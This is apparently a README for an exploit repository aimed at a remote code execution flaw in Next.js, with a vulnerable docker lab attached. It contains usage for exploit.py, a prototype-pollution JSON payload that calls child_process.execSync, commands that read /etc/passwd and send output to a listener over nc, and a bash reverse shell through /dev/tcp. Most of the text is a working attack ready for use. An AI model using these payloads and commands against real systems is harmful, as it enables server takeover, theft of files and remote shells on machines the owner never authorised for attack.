.
├── exploit.py           # exploit script
├── docker-compose.yml   # Vulnerable test environment
├── vulnerable-app/      # Vulnerable Next.js application
└── README.md

docker compose up -d

python3 exploit.py -u http://localhost:3000 --check

python3 exploit.py -u http://localhost:3000 -c "id"

python3 exploit.py -u http://localhost:3000 -c "id" --exfil <IP>:<PORT>

usage: exploit.py [-h] -u URL [-c COMMAND] [--check] [--exfil HOST:PORT]
                  [--timeout TIMEOUT] [--no-verify]

options:
  -u, --url URL         Target URL
  -c, --command CMD     Command to execute
  --check               Check if vulnerable (non-exploitative)
  --exfil HOST:PORT     Exfiltrate output to HOST:PORT
  --timeout TIMEOUT     Request timeout (default: 10)
  --no-verify           Disable SSL verification

# Check vulnerability
python3 exploit.py -u http://localhost:3000 --check

# Blind RCE
python3 exploit.py -u http://localhost:3000 -c "touch /tmp/pwned"

# RCE with output
python3 exploit.py -u http://localhost:3000 -c "whoami" --exfil 172.17.0.1:9999

# Read files
python3 exploit.py -u http://localhost:3000 -c "cat /etc/passwd" --exfil 172.17.0.1:9999

# Reverse shell
python3 exploit.py -u http://localhost:3000 -c "bash -c 'bash -i >& /dev/tcp/172.17.0.1/4444 0>&1'"

{
  "then": "$1:__proto__:then",
  "status": "resolved_model",
  "reason": -1,
  "value": "{\"then\": \"$B0\"}",
  "_response": {
    "_prefix": "process.mainModule.require('child_process').execSync('id');",
    "_formData": {
      "get": "$1:constructor:constructor"
    }
  }
}

┌──────────┐  1. Malicious POST   ┌──────────┐
│ Attacker │ ──────────────────►  │  Server  │
└──────────┘                      └──────────┘
     ▲                                 │
     │  3. Command output              │ 2. RCE executes:
     │     via nc                      │    cmd | nc attacker port
     │                                 ▼
     └─────────────────────────────────┘

docker compose down